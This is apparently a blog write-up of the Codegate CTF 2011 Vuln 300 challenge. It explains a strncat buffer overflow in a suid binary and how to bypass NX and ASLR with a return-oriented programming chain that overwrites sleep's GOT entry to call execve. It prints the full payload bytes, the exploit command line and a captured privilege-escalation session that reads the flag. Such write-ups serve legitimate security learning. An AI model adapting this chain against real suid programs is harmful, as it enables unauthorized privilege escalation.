Codegate CTF 2011 Vuln 300

This challenge was an exploitation of suid binary.
binary

Summary: ROPing buffer overflow with NX and ASLR

Code is rather simple: loading arguments, checking login, vulnerable function with strncat:

if ( !arg_u || !arg_p || !arg_f || !arg_x || !arg_y )
    show_usage_and_e();
if ( check_login(arg_u, arg_p) )
{
    sleep(5u);
    fprintf(stdout, "Login accepted!\nAdding new user to %s...\n", arg_f);
    vulnerable(arg_x, arg_y, arg_f);
}
else
{
    fwrite("Sorry, incorrect username or password\n", 1u, 0x26u, stdout);
}
int __cdecl check_login(int a1, int a2)
{
  snprintf(s_in_bss, 0x201u, "%s:%s", a1, a2);
  if ( !checked )
    checked = strncmp(s_in_bss, "s0m3b0dy:15n0b0dy", 0x11u) == 0;
  return checked;
}
int __cdecl vulnerable(const char *arg_x, const char *arg_y, int arg_f)
{
  char dest; // [sp+12h] [bp-202h]@1
  char v5; // [sp+212h] [bp-2h]@1
  char v6; // [sp+213h] [bp-1h]@1

  v5 = strlen(arg_x);
  strncpy(&dest, arg_x, 0x1FFu);
  v6 = strlen(arg_y);
  strncat(&dest, arg_y, 0x200u);
  return fprintf(stdout, "New user %s added to %s!\n", arg_x, arg_f);
}

During the ctf I solved it just by guessing the address of execl. But now let’s do some real ROP! Let’s look for nice gadgets (I use a pretty tool ROPeMe):

0x8048559L: add eax 0x804a064 ; add [ebx+0x5d5b04c4] eax ;;
0x8048418L: pop eax ; pop ebx ; leave ;;

And usefull addresses:

.got.plt:0804A01C   dd offset sleep 
.bss:0804A0A0       s_in_bss
.rodata:08048A14    db 's',0

There’s no way to load eax without leave, so we need to find a good place for our ROP code. Only one place fits – s_in_bss variable. We know it’s address and we control it’s contents (because of strncmp we can add any data to password). So, the ROP code is:

\xb0\xa0\x04\x08 sebp = s_in_bss + 16
\xfd\x85\x04\x08 saved_ret and valid string for fprintf
\xfd\x85\x04\x08 ret and valid string for sprintf
\xfd\x85\x04\x08 ret and valid string for sprintf
\xfd\x85\x04\x08 ret and valid string for sprintf
\x18\x84\x04\x08 pop eax ; pop ebx ; leave ;;
\x5c\x66\xfb\xf7 eax  = (&execve - &sleep) - 0x804a064
\x58\x9b\xa9\xaa ebx  = 0x804A01C(sleep@GOT) - 0x5d5b04c4

Here esp changes because of the leave insruction. The following ROP code must be in s_in_bss + 20 (leave also pops another saved ebp from s_in_bss + 16):

s0m3b0dy:15n0b0dyAAA first 20 bytes of s_in_bss
\x59\x85\x04\x08 add eax 0x804a064 ; add [ebx+0x5d5b04c4] eax ;;
\x9c\x84\x04\x08 jump to sleep@GOT in PLT
\x41\x41\x41\x41 ret after execve - not needed
\x14\x8a\x04\x08 address of string "s"

Now, let’s run it:

$ ls -l vuln300 flag.txt
-rw------- 1 hellman hellman   33 2011-03-09 16:18 flag.txt
-rwsr-sr-x 1 hellman hellman 5496 2011-03-08 20:53 vuln300
$ id
uid=1001(hacker) gid=1001(hacker) groups=1001(hacker)
$ ln -s /bin/sh s
$ ./vuln300 -us0m3b0dy -p15n0b0dyAAA$'\x59\x85\x04\x08\x9c\x84\x04\x08
\x41\x41\x41\x41\x14\x8a\x04\x08' -f -x"`perl -e 'print "A"x510;'`"
-yABCD$'\xb0\xa0\x04\x08\xfd\x85\x04\x08\xfd\x85\x04\x08\xfd\x85\x04\x08
\xfd\x85\x04\x08\x18\x84\x04\x08\x5c\x66\xfb\xf7\x58\x9b\xa9\xaa'
Login accepted!
Adding new user to ...
New user �U���� added to �U����!
$ id
uid=1001(hacker) gid=1001(hacker) euid=1000(hellman) egid=1000(hellman)
groups=1000(hellman),1001(hacker)
$ cat flag.txt
33f9876804c9a14e927e5d1d70a64ace

I wrote only 510 bytes in arg_x, because if I fullfill it with 512 bytes, there will be no null bytes after it and strcat will add our ROP payload a bit further, so it will become more complicated and unstable.

The flag: 33f9876804c9a14e927e5d1d70a64ace

Leave a Reply

Your email address will not be published.